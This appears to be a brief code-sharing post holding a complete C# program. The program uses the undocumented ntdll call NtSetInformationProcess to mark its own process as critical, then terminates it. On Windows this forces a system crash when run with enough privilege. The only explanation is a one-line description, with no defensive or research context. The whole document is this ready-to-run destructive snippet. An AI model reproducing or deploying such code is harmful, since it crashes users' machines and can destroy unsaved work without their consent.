it sets the current process' critical flag and kills it.

==============================================

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

class P
{
    static void Main()
    {
        Process p = Process.GetCurrentProcess();
        int e = 1;
        NtSetInformationProcess(p.Handle, 29, ref e, 4);
        p.Kill();
    }
    [DllImport("ntdll")]
    static extern int NtSetInformationProcess(IntPtr p, int c, ref int i, int l);
}